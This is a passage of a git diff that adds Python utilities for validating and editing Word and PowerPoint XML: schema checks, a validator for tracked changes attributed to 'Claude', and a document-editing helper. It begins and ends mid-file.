else set() + + def _remove_template_tags_from_text_nodes(self, xml_doc): + """Remove template tags from XML text nodes and collect warnings. + + Template tags follow the pattern {{ ... }} and are used as placeholders + for content replacement. They should be removed from text content before + XSD validation while preserving XML structure. + + Returns: + tuple: (cleaned_xml_doc, warnings_list) + """ + warnings = [] + template_pattern = re.compile(r"\{\{[^}]*\}\}") + + # Create a copy of the document to avoid modifying the original + xml_string = lxml.etree.tostring(xml_doc, encoding="unicode") + xml_copy = lxml.etree.fromstring(xml_string) + + def process_text_content(text, content_type): + if not text: + return text + matches = list(template_pattern.finditer(text)) + if matches: + for match in matches: + warnings.append( + f"Found template tag in {content_type}: {match.group()}" + ) + return template_pattern.sub("", text) + return text + + # Process all text nodes in the document + for elem in xml_copy.iter(): + # Skip processing if this is a w:t element + if not hasattr(elem, "tag") or callable(elem.tag): + continue + tag_str = str(elem.tag) + if tag_str.endswith("}t") or tag_str == "t": + continue + + elem.text = process_text_content(elem.text, "text content") + elem.tail = process_text_content(elem.tail, "tail content") + + return lxml.etree.ElementTree(xml_copy), warnings + + +if __name__ == "__main__": + raise RuntimeError("This module should not be run directly.") diff --git a/skills/docx/ooxml/scripts/validation/docx.py b/skills/docx/ooxml/scripts/validation/docx.py new file mode 100644 index 00000000..602c4708 --- /dev/null +++ b/skills/docx/ooxml/scripts/validation/docx.py @@ -0,0 +1,274 @@ +""" +Validator for Word document XML files against XSD schemas. +""" + +import re +import tempfile +import zipfile + +import lxml.etree + +from .base import BaseSchemaValidator + + +class DOCXSchemaValidator(BaseSchemaValidator): + """Validator for Word document XML files against XSD schemas.""" + + # Word-specific namespace + WORD_2006_NAMESPACE = "http://schemas.openxmlformats.org/wordprocessingml/2006/main" + + # Word-specific element to relationship type mappings + # Start with empty mapping - add specific cases as we discover them + ELEMENT_RELATIONSHIP_TYPES = {} + + def validate(self): + """Run all validation checks and return True if all pass.""" + # Test 0: XML well-formedness + if not self.validate_xml(): + return False + + # Test 1: Namespace declarations + all_valid = True + if not self.validate_namespaces(): + all_valid = False + + # Test 2: Unique IDs + if not self.validate_unique_ids(): + all_valid = False + + # Test 3: Relationship and file reference validation + if not self.validate_file_references(): + all_valid = False + + # Test 4: Content type declarations + if not self.validate_content_types(): + all_valid = False + + # Test 5: XSD schema validation + if not self.validate_against_xsd(): + all_valid = False + + # Test 6: Whitespace preservation + if not self.validate_whitespace_preservation(): + all_valid = False + + # Test 7: Deletion validation + if not self.validate_deletions(): + all_valid = False + + # Test 8: Insertion validation + if not self.validate_insertions(): + all_valid = False + + # Test 9: Relationship ID reference validation + if not self.validate_all_relationship_ids(): + all_valid = False + + # Count and compare paragraphs + self.compare_paragraph_counts() + + return all_valid + + def validate_whitespace_preservation(self): + """ + Validate that w:t elements with whitespace have xml:space='preserve'. + """ + errors = [] + + for xml_file in self.xml_files: + # Only check document.xml files + if xml_file.name != "document.xml": + continue + + try: + root = lxml.etree.parse(str(xml_file)).getroot() + + # Find all w:t elements + for elem in root.iter(f"{{{self.WORD_2006_NAMESPACE}}}t"): + if elem.text: + text = elem.text + # Check if text starts or ends with whitespace + if re.match(r"^\s.*", text) or re.match(r".*\s$", text): + # Check if xml:space="preserve" attribute exists + xml_space_attr = f"{{{self.XML_NAMESPACE}}}space" + if ( + xml_space_attr not in elem.attrib + or elem.attrib[xml_space_attr] != "preserve" + ): + # Show a preview of the text + text_preview = ( + repr(text)[:50] + "..." + if len(repr(text)) > 50 + else repr(text) + ) + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: w:t element with whitespace missing xml:space='preserve': {text_preview}" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} whitespace preservation violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All whitespace is properly preserved") + return True + + def validate_deletions(self): + """ + Validate that w:t elements are not within w:del elements. + For some reason, XSD validation does not catch this, so we do it manually. + """ + errors = [] + + for xml_file in self.xml_files: + # Only check document.xml files + if xml_file.name != "document.xml": + continue + + try: + root = lxml.etree.parse(str(xml_file)).getroot() + + # Find all w:t elements that are descendants of w:del elements + namespaces = {"w": self.WORD_2006_NAMESPACE} + xpath_expression = ".//w:del//w:t" + problematic_t_elements = root.xpath( + xpath_expression, namespaces=namespaces + ) + for t_elem in problematic_t_elements: + if t_elem.text: + # Show a preview of the text + text_preview = ( + repr(t_elem.text)[:50] + "..." + if len(repr(t_elem.text)) > 50 + else repr(t_elem.text) + ) + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {t_elem.sourceline}: found within : {text_preview}" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} deletion validation violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - No w:t elements found within w:del elements") + return True + + def count_paragraphs_in_unpacked(self): + """Count the number of paragraphs in the unpacked document.""" + count = 0 + + for xml_file in self.xml_files: + # Only check document.xml files + if xml_file.name != "document.xml": + continue + + try: + root = lxml.etree.parse(str(xml_file)).getroot() + # Count all w:p elements + paragraphs = root.findall(f".//{{{self.WORD_2006_NAMESPACE}}}p") + count = len(paragraphs) + except Exception as e: + print(f"Error counting paragraphs in unpacked document: {e}") + + return count + + def count_paragraphs_in_original(self): + """Count the number of paragraphs in the original docx file.""" + count = 0 + + try: + # Create temporary directory to unpack original + with tempfile.TemporaryDirectory() as temp_dir: + # Unpack original docx + with zipfile.ZipFile(self.original_file, "r") as zip_ref: + zip_ref.extractall(temp_dir) + + # Parse document.xml + doc_xml_path = temp_dir + "/word/document.xml" + root = lxml.etree.parse(doc_xml_path).getroot() + + # Count all w:p elements + paragraphs = root.findall(f".//{{{self.WORD_2006_NAMESPACE}}}p") + count = len(paragraphs) + + except Exception as e: + print(f"Error counting paragraphs in original document: {e}") + + return count + + def validate_insertions(self): + """ + Validate that w:delText elements are not within w:ins elements. + w:delText is only allowed in w:ins if nested within a w:del. + """ + errors = [] + + for xml_file in self.xml_files: + if xml_file.name != "document.xml": + continue + + try: + root = lxml.etree.parse(str(xml_file)).getroot() + namespaces = {"w": self.WORD_2006_NAMESPACE} + + # Find w:delText in w:ins that are NOT within w:del + invalid_elements = root.xpath( + ".//w:ins//w:delText[not(ancestor::w:del)]", + namespaces=namespaces + ) + + for elem in invalid_elements: + text_preview = ( + repr(elem.text or "")[:50] + "..." + if len(repr(elem.text or "")) > 50 + else repr(elem.text or "") + ) + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: within : {text_preview}" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} insertion validation violations:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - No w:delText elements within w:ins elements") + return True + + def compare_paragraph_counts(self): + """Compare paragraph counts between original and new document.""" + original_count = self.count_paragraphs_in_original() + new_count = self.count_paragraphs_in_unpacked() + + diff = new_count - original_count + diff_str = f"+{diff}" if diff > 0 else str(diff) + print(f"\nParagraphs: {original_count} → {new_count} ({diff_str})") + + +if __name__ == "__main__": + raise RuntimeError("This module should not be run directly.") diff --git a/skills/docx/ooxml/scripts/validation/pptx.py b/skills/docx/ooxml/scripts/validation/pptx.py new file mode 100644 index 00000000..66d5b1e2 --- /dev/null +++ b/skills/docx/ooxml/scripts/validation/pptx.py @@ -0,0 +1,315 @@ +""" +Validator for PowerPoint presentation XML files against XSD schemas. +""" + +import re + +from .base import BaseSchemaValidator + + +class PPTXSchemaValidator(BaseSchemaValidator): + """Validator for PowerPoint presentation XML files against XSD schemas.""" + + # PowerPoint presentation namespace + PRESENTATIONML_NAMESPACE = ( + "http://schemas.openxmlformats.org/presentationml/2006/main" + ) + + # PowerPoint-specific element to relationship type mappings + ELEMENT_RELATIONSHIP_TYPES = { + "sldid": "slide", + "sldmasterid": "slidemaster", + "notesmasterid": "notesmaster", + "sldlayoutid": "slidelayout", + "themeid": "theme", + "tablestyleid": "tablestyles", + } + + def validate(self): + """Run all validation checks and return True if all pass.""" + # Test 0: XML well-formedness + if not self.validate_xml(): + return False + + # Test 1: Namespace declarations + all_valid = True + if not self.validate_namespaces(): + all_valid = False + + # Test 2: Unique IDs + if not self.validate_unique_ids(): + all_valid = False + + # Test 3: UUID ID validation + if not self.validate_uuid_ids(): + all_valid = False + + # Test 4: Relationship and file reference validation + if not self.validate_file_references(): + all_valid = False + + # Test 5: Slide layout ID validation + if not self.validate_slide_layout_ids(): + all_valid = False + + # Test 6: Content type declarations + if not self.validate_content_types(): + all_valid = False + + # Test 7: XSD schema validation + if not self.validate_against_xsd(): + all_valid = False + + # Test 8: Notes slide reference validation + if not self.validate_notes_slide_references(): + all_valid = False + + # Test 9: Relationship ID reference validation + if not self.validate_all_relationship_ids(): + all_valid = False + + # Test 10: Duplicate slide layout references validation + if not self.validate_no_duplicate_slide_layouts(): + all_valid = False + + return all_valid + + def validate_uuid_ids(self): + """Validate that ID attributes that look like UUIDs contain only hex values.""" + import lxml.etree + + errors = [] + # UUID pattern: 8-4-4-4-12 hex digits with optional braces/hyphens + uuid_pattern = re.compile( + r"^[\{\(]?[0-9A-Fa-f]{8}-?[0-9A-Fa-f]{4}-?[0-9A-Fa-f]{4}-?[0-9A-Fa-f]{4}-?[0-9A-Fa-f]{12}[\}\)]?$" + ) + + for xml_file in self.xml_files: + try: + root = lxml.etree.parse(str(xml_file)).getroot() + + # Check all elements for ID attributes + for elem in root.iter(): + for attr, value in elem.attrib.items(): + # Check if this is an ID attribute + attr_name = attr.split("}")[-1].lower() + if attr_name == "id" or attr_name.endswith("id"): + # Check if value looks like a UUID (has the right length and pattern structure) + if self._looks_like_uuid(value): + # Validate that it contains only hex characters in the right positions + if not uuid_pattern.match(value): + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: " + f"Line {elem.sourceline}: ID '{value}' appears to be a UUID but contains invalid hex characters" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {xml_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} UUID ID validation errors:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All UUID-like IDs contain valid hex values") + return True + + def _looks_like_uuid(self, value): + """Check if a value has the general structure of a UUID.""" + # Remove common UUID delimiters + clean_value = value.strip("{}()").replace("-", "") + # Check if it's 32 hex-like characters (could include invalid hex chars) + return len(clean_value) == 32 and all(c.isalnum() for c in clean_value) + + def validate_slide_layout_ids(self): + """Validate that sldLayoutId elements in slide masters reference valid slide layouts.""" + import lxml.etree + + errors = [] + + # Find all slide master files + slide_masters = list(self.unpacked_dir.glob("ppt/slideMasters/*.xml")) + + if not slide_masters: + if self.verbose: + print("PASSED - No slide masters found") + return True + + for slide_master in slide_masters: + try: + # Parse the slide master file + root = lxml.etree.parse(str(slide_master)).getroot() + + # Find the corresponding _rels file for this slide master + rels_file = slide_master.parent / "_rels" / f"{slide_master.name}.rels" + + if not rels_file.exists(): + errors.append( + f" {slide_master.relative_to(self.unpacked_dir)}: " + f"Missing relationships file: {rels_file.relative_to(self.unpacked_dir)}" + ) + continue + + # Parse the relationships file + rels_root = lxml.etree.parse(str(rels_file)).getroot() + + # Build a set of valid relationship IDs that point to slide layouts + valid_layout_rids = set() + for rel in rels_root.findall( + f".//{{{self.PACKAGE_RELATIONSHIPS_NAMESPACE}}}Relationship" + ): + rel_type = rel.get("Type", "") + if "slideLayout" in rel_type: + valid_layout_rids.add(rel.get("Id")) + + # Find all sldLayoutId elements in the slide master + for sld_layout_id in root.findall( + f".//{{{self.PRESENTATIONML_NAMESPACE}}}sldLayoutId" + ): + r_id = sld_layout_id.get( + f"{{{self.OFFICE_RELATIONSHIPS_NAMESPACE}}}id" + ) + layout_id = sld_layout_id.get("id") + + if r_id and r_id not in valid_layout_rids: + errors.append( + f" {slide_master.relative_to(self.unpacked_dir)}: " + f"Line {sld_layout_id.sourceline}: sldLayoutId with id='{layout_id}' " + f"references r:id='{r_id}' which is not found in slide layout relationships" + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {slide_master.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print(f"FAILED - Found {len(errors)} slide layout ID validation errors:") + for error in errors: + print(error) + print( + "Remove invalid references or add missing slide layouts to the relationships file." + ) + return False + else: + if self.verbose: + print("PASSED - All slide layout IDs reference valid slide layouts") + return True + + def validate_no_duplicate_slide_layouts(self): + """Validate that each slide has exactly one slideLayout reference.""" + import lxml.etree + + errors = [] + slide_rels_files = list(self.unpacked_dir.glob("ppt/slides/_rels/*.xml.rels")) + + for rels_file in slide_rels_files: + try: + root = lxml.etree.parse(str(rels_file)).getroot() + + # Find all slideLayout relationships + layout_rels = [ + rel + for rel in root.findall( + f".//{{{self.PACKAGE_RELATIONSHIPS_NAMESPACE}}}Relationship" + ) + if "slideLayout" in rel.get("Type", "") + ] + + if len(layout_rels) > 1: + errors.append( + f" {rels_file.relative_to(self.unpacked_dir)}: has {len(layout_rels)} slideLayout references" + ) + + except Exception as e: + errors.append( + f" {rels_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + if errors: + print("FAILED - Found slides with duplicate slideLayout references:") + for error in errors: + print(error) + return False + else: + if self.verbose: + print("PASSED - All slides have exactly one slideLayout reference") + return True + + def validate_notes_slide_references(self): + """Validate that each notesSlide file is referenced by only one slide.""" + import lxml.etree + + errors = [] + notes_slide_references = {} # Track which slides reference each notesSlide + + # Find all slide relationship files + slide_rels_files = list(self.unpacked_dir.glob("ppt/slides/_rels/*.xml.rels")) + + if not slide_rels_files: + if self.verbose: + print("PASSED - No slide relationship files found") + return True + + for rels_file in slide_rels_files: + try: + # Parse the relationships file + root = lxml.etree.parse(str(rels_file)).getroot() + + # Find all notesSlide relationships + for rel in root.findall( + f".//{{{self.PACKAGE_RELATIONSHIPS_NAMESPACE}}}Relationship" + ): + rel_type = rel.get("Type", "") + if "notesSlide" in rel_type: + target = rel.get("Target", "") + if target: + # Normalize the target path to handle relative paths + normalized_target = target.replace("../", "") + + # Track which slide references this notesSlide + slide_name = rels_file.stem.replace( + ".xml", "" + ) # e.g., "slide1" + + if normalized_target not in notes_slide_references: + notes_slide_references[normalized_target] = [] + notes_slide_references[normalized_target].append( + (slide_name, rels_file) + ) + + except (lxml.etree.XMLSyntaxError, Exception) as e: + errors.append( + f" {rels_file.relative_to(self.unpacked_dir)}: Error: {e}" + ) + + # Check for duplicate references + for target, references in notes_slide_references.items(): + if len(references) > 1: + slide_names = [ref[0] for ref in references] + errors.append( + f" Notes slide '{target}' is referenced by multiple slides: {', '.join(slide_names)}" + ) + for slide_name, rels_file in references: + errors.append(f" - {rels_file.relative_to(self.unpacked_dir)}") + + if errors: + print( + f"FAILED - Found {len([e for e in errors if not e.startswith(' ')])} notes slide reference validation errors:" + ) + for error in errors: + print(error) + print("Each slide may optionally have its own slide file.") + return False + else: + if self.verbose: + print("PASSED - All notes slide references are unique") + return True + + +if __name__ == "__main__": + raise RuntimeError("This module should not be run directly.") diff --git a/skills/docx/ooxml/scripts/validation/redlining.py b/skills/docx/ooxml/scripts/validation/redlining.py new file mode 100644 index 00000000..7ed425ed --- /dev/null +++ b/skills/docx/ooxml/scripts/validation/redlining.py @@ -0,0 +1,279 @@ +""" +Validator for tracked changes in Word documents. +""" + +import subprocess +import tempfile +import zipfile +from pathlib import Path + + +class RedliningValidator: + """Validator for tracked changes in Word documents.""" + + def __init__(self, unpacked_dir, original_docx, verbose=False): + self.unpacked_dir = Path(unpacked_dir) + self.original_docx = Path(original_docx) + self.verbose = verbose + self.namespaces = { + "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main" + } + + def validate(self): + """Main validation method that returns True if valid, False otherwise.""" + # Verify unpacked directory exists and has correct structure + modified_file = self.unpacked_dir / "word" / "document.xml" + if not modified_file.exists(): + print(f"FAILED - Modified document.xml not found at {modified_file}") + return False + + # First, check if there are any tracked changes by Claude to validate + try: + import xml.etree.ElementTree as ET + + tree = ET.parse(modified_file) + root = tree.getroot() + + # Check for w:del or w:ins tags authored by Claude + del_elements = root.findall(".//w:del", self.namespaces) + ins_elements = root.findall(".//w:ins", self.namespaces) + + # Filter to only include changes by Claude + claude_del_elements = [ + elem + for elem in del_elements + if elem.get(f"{{{self.namespaces['w']}}}author") == "Claude" + ] + claude_ins_elements = [ + elem + for elem in ins_elements + if elem.get(f"{{{self.namespaces['w']}}}author") == "Claude" + ] + + # Redlining validation is only needed if tracked changes by Claude have been used. + if not claude_del_elements and not claude_ins_elements: + if self.verbose: + print("PASSED - No tracked changes by Claude found.") + return True + + except Exception: + # If we can't parse the XML, continue with full validation + pass + + # Create temporary directory for unpacking original docx + with tempfile.TemporaryDirectory() as temp_dir: + temp_path = Path(temp_dir) + + # Unpack original docx + try: + with zipfile.ZipFile(self.original_docx, "r") as zip_ref: + zip_ref.extractall(temp_path) + except Exception as e: + print(f"FAILED - Error unpacking original docx: {e}") + return False + + original_file = temp_path / "word" / "document.xml" + if not original_file.exists(): + print( + f"FAILED - Original document.xml not found in {self.original_docx}" + ) + return False + + # Parse both XML files using xml.etree.ElementTree for redlining validation + try: + import xml.etree.ElementTree as ET + + modified_tree = ET.parse(modified_file) + modified_root = modified_tree.getroot() + original_tree = ET.parse(original_file) + original_root = original_tree.getroot() + except ET.ParseError as e: + print(f"FAILED - Error parsing XML files: {e}") + return False + + # Remove Claude's tracked changes from both documents + self._remove_claude_tracked_changes(original_root) + self._remove_claude_tracked_changes(modified_root) + + # Extract and compare text content + modified_text = self._extract_text_content(modified_root) + original_text = self._extract_text_content(original_root) + + if modified_text != original_text: + # Show detailed character-level differences for each paragraph + error_message = self._generate_detailed_diff( + original_text, modified_text + ) + print(error_message) + return False + + if self.verbose: + print("PASSED - All changes by Claude are properly tracked") + return True + + def _generate_detailed_diff(self, original_text, modified_text): + """Generate detailed word-level differences using git word diff.""" + error_parts = [ + "FAILED - Document text doesn't match after removing Claude's tracked changes", + "", + "Likely causes:", + " 1. Modified text inside another author's or tags", + " 2. Made edits without proper tracked changes", + " 3. Didn't nest inside when deleting another's insertion", + "", + "For pre-redlined documents, use correct patterns:", + " - To reject another's INSERTION: Nest inside their ", + " - To restore another's DELETION: Add new AFTER their ", + "", + ] + + # Show git word diff + git_diff = self._get_git_word_diff(original_text, modified_text) + if git_diff: + error_parts.extend(["Differences:", "============", git_diff]) + else: + error_parts.append("Unable to generate word diff (git not available)") + + return "\n".join(error_parts) + + def _get_git_word_diff(self, original_text, modified_text): + """Generate word diff using git with character-level precision.""" + try: + with tempfile.TemporaryDirectory() as temp_dir: + temp_path = Path(temp_dir) + + # Create two files + original_file = temp_path / "original.txt" + modified_file = temp_path / "modified.txt" + + original_file.write_text(original_text, encoding="utf-8") + modified_file.write_text(modified_text, encoding="utf-8") + + # Try character-level diff first for precise differences + result = subprocess.run( + [ + "git", + "diff", + "--word-diff=plain", + "--word-diff-regex=.", # Character-by-character diff + "-U0", # Zero lines of context - show only changed lines + "--no-index", + str(original_file), + str(modified_file), + ], + capture_output=True, + text=True, + ) + + if result.stdout.strip(): + # Clean up the output - remove git diff header lines + lines = result.stdout.split("\n") + # Skip the header lines (diff --git, index, +++, ---, @@) + content_lines = [] + in_content = False + for line in lines: + if line.startswith("@@"): + in_content = True + continue + if in_content and line.strip(): + content_lines.append(line) + + if content_lines: + return "\n".join(content_lines) + + # Fallback to word-level diff if character-level is too verbose + result = subprocess.run( + [ + "git", + "diff", + "--word-diff=plain", + "-U0", # Zero lines of context + "--no-index", + str(original_file), + str(modified_file), + ], + capture_output=True, + text=True, + ) + + if result.stdout.strip(): + lines = result.stdout.split("\n") + content_lines = [] + in_content = False + for line in lines: + if line.startswith("@@"): + in_content = True + continue + if in_content and line.strip(): + content_lines.append(line) + return "\n".join(content_lines) + + except (subprocess.CalledProcessError, FileNotFoundError, Exception): + # Git not available or other error, return None to use fallback + pass + + return None + + def _remove_claude_tracked_changes(self, root): + """Remove tracked changes authored by Claude from the XML root.""" + ins_tag = f"{{{self.namespaces['w']}}}ins" + del_tag = f"{{{self.namespaces['w']}}}del" + author_attr = f"{{{self.namespaces['w']}}}author" + + # Remove w:ins elements + for parent in root.iter(): + to_remove = [] + for child in parent: + if child.tag == ins_tag and child.get(author_attr) == "Claude": + to_remove.append(child) + for elem in to_remove: + parent.remove(elem) + + # Unwrap content in w:del elements where author is "Claude" + deltext_tag = f"{{{self.namespaces['w']}}}delText" + t_tag = f"{{{self.namespaces['w']}}}t" + + for parent in root.iter(): + to_process = [] + for child in parent: + if child.tag == del_tag and child.get(author_attr) == "Claude": + to_process.append((child, list(parent).index(child))) + + # Process in reverse order to maintain indices + for del_elem, del_index in reversed(to_process): + # Convert w:delText to w:t before moving + for elem in del_elem.iter(): + if elem.tag == deltext_tag: + elem.tag = t_tag + + # Move all children of w:del to its parent before removing w:del + for child in reversed(list(del_elem)): + parent.insert(del_index, child) + parent.remove(del_elem) + + def _extract_text_content(self, root): + """Extract text content from Word XML, preserving paragraph structure. + + Empty paragraphs are skipped to avoid false positives when tracked + insertions add only structural elements without text content. + """ + p_tag = f"{{{self.namespaces['w']}}}p" + t_tag = f"{{{self.namespaces['w']}}}t" + + paragraphs = [] + for p_elem in root.findall(f".//{p_tag}"): + # Get all text elements within this paragraph + text_parts = [] + for t_elem in p_elem.findall(f".//{t_tag}"): + if t_elem.text: + text_parts.append(t_elem.text) + paragraph_text = "".join(text_parts) + # Skip empty paragraphs - they don't affect content validation + if paragraph_text: + paragraphs.append(paragraph_text) + + return "\n".join(paragraphs) + + +if __name__ == "__main__": + raise RuntimeError("This module should not be run directly.") diff --git a/skills/docx/scripts/__init__.py b/skills/docx/scripts/__init__.py new file mode 100755 index 00000000..bf9c5627 --- /dev/null +++ b/skills/docx/scripts/__init__.py @@ -0,0 +1 @@ +# Make scripts directory a package for relative imports in tests diff --git a/skills/docx/scripts/document.py b/skills/docx/scripts/document.py new file mode 100755 index 00000000..ae9328dd --- /dev/null +++ b/skills/docx/scripts/document.py @@ -0,0 +1,1276 @@ +#!/usr/bin/env python3 +""" +Library for working with Word documents: comments, tracked changes, and editing. + +Usage: + from skills.docx.scripts.document import Document + + # Initialize + doc = Document('workspace/unpacked') + doc = Document('workspace/unpacked', author="John Doe", initials="JD") + + # Find nodes + node = doc["word/document.xml"].get_node(tag="w:del", attrs={"w:id": "1"}) + node = doc["word/document.xml"].get_node(tag="w:p", line_number=10) + + # Add comments + doc.add_comment(start=node, end=node, text="Comment text") + doc.reply_to_comment(parent_comment_id=0, text="Reply text") + + # Suggest tracked changes + doc["word/document.xml"].suggest_deletion(node) # Delete content + doc["word/document.xml"].revert_insertion(ins_node) # Reject insertion + doc["word/document.xml"].revert_deletion(del_node) # Reject deletion + + # Save + doc.save() +""" + +import html +import random +import shutil +import tempfile +from datetime import datetime, timezone +from pathlib import Path + +from defusedxml import minidom +from ooxml.scripts.pack import pack_document +from ooxml.scripts.validation.docx import DOCXSchemaValidator +from ooxml.scripts.validation.redlining import RedliningValidator + +from .utilities import XMLEditor + +# Path to template files +TEMPLATE_DIR = Path(__file__).parent / "templates" + + +class DocxXMLEditor(XMLEditor): + """XMLEditor that automatically applies RSID, author, and date to new elements. + + Automatically adds attributes to elements that support them when inserting new content: + - w:rsidR, w:rsidRDefault, w:rsidP (for w:p and w:r elements) + - w:author and w:date (for w:ins, w:del, w:comment elements) + - w:id (for w:ins and w:del elements) + + Attributes: + dom (defusedxml.minidom.Document): The DOM document for direct manipulation + """ + + def __init__( + self, xml_path, rsid: str, author: str = "Claude", initials: str = "C" + ): + """Initialize with required RSID and optional author. + + Args: + xml_path: Path to XML file to edit + rsid: RSID to automatically apply to new elements + author: Author name for tracked changes and comments (default: "Claude") + initials: Author initials (default: "C") + """ + super().__init__(xml_path) + self.rsid = rsid + self.author = author + self.initials = initials + + def _get_next_change_id(self): + """Get the next available change ID by checking all tracked change elements.""" + max_id = -1 + for tag in ("w:ins", "w:del"): + elements = self.dom.getElementsByTagName(tag) + for elem in elements: + change_id = elem.getAttribute("w:id") + if change_id: + try: + max_id = max(max_id, int(change_id)) + except ValueError: + pass + return max_id + 1 + + def _ensure_w16du_namespace(self): + """Ensure w16du namespace is declared on the root element.""" + root = self.dom.documentElement + if not root.hasAttribute("xmlns:w16du"): # type: ignore + root.setAttribute( # type: ignore + "xmlns:w16du", + "http://schemas.microsoft.com/office/word/2023/wordml/word16du", + ) + + def _ensure_w16cex_namespace(self): + """Ensure w16cex namespace is declared on the root element.""" + root = self.dom.documentElement + if not root.hasAttribute("xmlns:w16cex"): # type: ignore + root.setAttribute( # type: ignore + "xmlns:w16cex", + "http://schemas.microsoft.com/office/word/2018/wordml/cex", + ) + + def _ensure_w14_namespace(self): + """Ensure w14 namespace is declared on the root element.""" + root = self.dom.documentElement + if not root.hasAttribute("xmlns:w14"): # type: ignore + root.setAttribute( # type: ignore + "xmlns:w14", + "http://schemas.microsoft.com/office/word/2010/wordml", + ) + + def _inject_attributes_to_nodes(self, nodes): + """Inject RSID, author, and date attributes into DOM nodes where applicable. + + Adds attributes to elements that support them: + - w:r: gets w:rsidR (or w:rsidDel if inside w:del) + - w:p: gets w:rsidR, w:rsidRDefault, w:rsidP, w14:paraId, w14:textId + - w:t: gets xml:space="preserve" if text has leading/trailing whitespace + - w:ins, w:del: get w:id, w:author, w:date, w16du:dateUtc + - w:comment: gets w:author, w:date, w:initials + - w16cex:commentExtensible: gets w16cex:dateUtc + + Args: + nodes: List of DOM nodes to process + """ + from datetime import datetime, timezone + + timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + + def is_inside_deletion(elem): + """Check if element is inside a w:del element.""" + parent = elem.parentNode + while parent: + if parent.nodeType == parent.ELEMENT_NODE and parent.tagName == "w:del": + return True + parent = parent.parentNode + return False + + def add_rsid_to_p(elem): + if not elem.hasAttribute("w:rsidR"): + elem.setAttribute("w:rsidR", self.rsid) + if not elem.hasAttribute("w:rsidRDefault"): + elem.setAttribute("w:rsidRDefault", self.rsid) + if not elem.hasAttribute("w:rsidP"): + elem.setAttribute("w:rsidP", self.rsid) + # Add w14:paraId and w14:textId if not present + if not elem.hasAttribute("w14:paraId"): + self._ensure_w14_namespace() + elem.setAttribute("w14:paraId", _generate_hex_id()) + if not elem.hasAttribute("w14:textId"): + self._ensure_w14_namespace() + elem.setAttribute("w14:textId", _generate_hex_id()) + + def add_rsid_to_r(elem): + # Use w:rsidDel for inside , otherwise w:rsidR + if is_inside_deletion(elem): + if not elem.hasAttribute("w:rsidDel"): + elem.setAttribute("w:rsidDel", self.rsid) + else: + if not elem.hasAttribute("w:rsidR"): + elem.setAttribute("w:rsidR", self.rsid) + + def add_tracked_change_attrs(elem): + # Auto-assign w:id if not present + if not elem.hasAttribute("w:id"): + elem.setAttribute("w:id", str(self._get_next_change_id())) + if not elem.hasAttribute("w:author"): + elem.setAttribute("w:author", self.author) + if not elem.hasAttribute("w:date"): + elem.setAttribute("w:date", timestamp) + # Add w16du:dateUtc for tracked changes (same as w:date since we generate UTC timestamps) + if elem.tagName in ("w:ins", "w:del") and not elem.hasAttribute( + "w16du:dateUtc" + ): + self._ensure_w16du_namespace() + elem.setAttribute("w16du:dateUtc", timestamp) + + def add_comment_attrs(elem): + if not elem.hasAttribute("w:author"): + elem.setAttribute("w:author", self.author) + if not elem.hasAttribute("w:date"): + elem.setAttribute("w:date", timestamp) + if not elem.hasAttribute("w:initials"): + elem.setAttribute("w:initials", self.initials) + + def add_comment_extensible_date(elem): + # Add w16cex:dateUtc for comment extensible elements + if not elem.hasAttribute("w16cex:dateUtc"): + self._ensure_w16cex_namespace() + elem.setAttribute("w16cex:dateUtc", timestamp) + + def add_xml_space_to_t(elem): + # Add xml:space="preserve" to w:t if text has leading/trailing whitespace + if ( + elem.firstChild + and elem.firstChild.nodeType == elem.firstChild.TEXT_NODE + ): + text = elem.firstChild.data + if text and (text[0].isspace() or text[-1].isspace()): + if not elem.hasAttribute("xml:space"): + elem.setAttribute("xml:space", "preserve") + + for node in nodes: + if node.nodeType != node.ELEMENT_NODE: + continue + + # Handle the node itself + if node.tagName == "w:p": + add_rsid_to_p(node) + elif node.tagName == "w:r": + add_rsid_to_r(node) + elif node.tagName == "w:t": + add_xml_space_to_t(node) + elif node.tagName in ("w:ins", "w:del"): + add_tracked_change_attrs(node) + elif node.tagName == "w:comment": + add_comment_attrs(node) + elif node.tagName == "w16cex:commentExtensible": + add_comment_extensible_date(node) + + # Process descendants (getElementsByTagName doesn't return the element itself) + for elem in node.getElementsByTagName("w:p"): + add_rsid_to_p(elem) + for elem in node.getElementsByTagName("w:r"): + add_rsid_to_r(elem) + for elem in node.getElementsByTagName("w:t"): + add_xml_space_to_t(elem) + for tag in ("w:ins", "w:del"): + for elem in node.getElementsByTagName(tag): + add_tracked_change_attrs(elem) + for elem in node.getElementsByTagName("w:comment"): + add_comment_attrs(elem) + for elem in node.getElementsByTagName("w16cex:commentExtensible"): + add_comment_extensible_date(elem) + + def replace_node(self, elem, new_content): + """Replace node with automatic attribute injection.""" + nodes = super().replace_node(elem, new_content) + self._inject_attributes_to_nodes(nodes) + return nodes + + def insert_after(self, elem, xml_content): + """Insert after with automatic attribute injection.""" + nodes = super().insert_after(elem, xml_content) + self._inject_attributes_to_nodes(nodes) + return nodes + + def insert_before(self, elem, 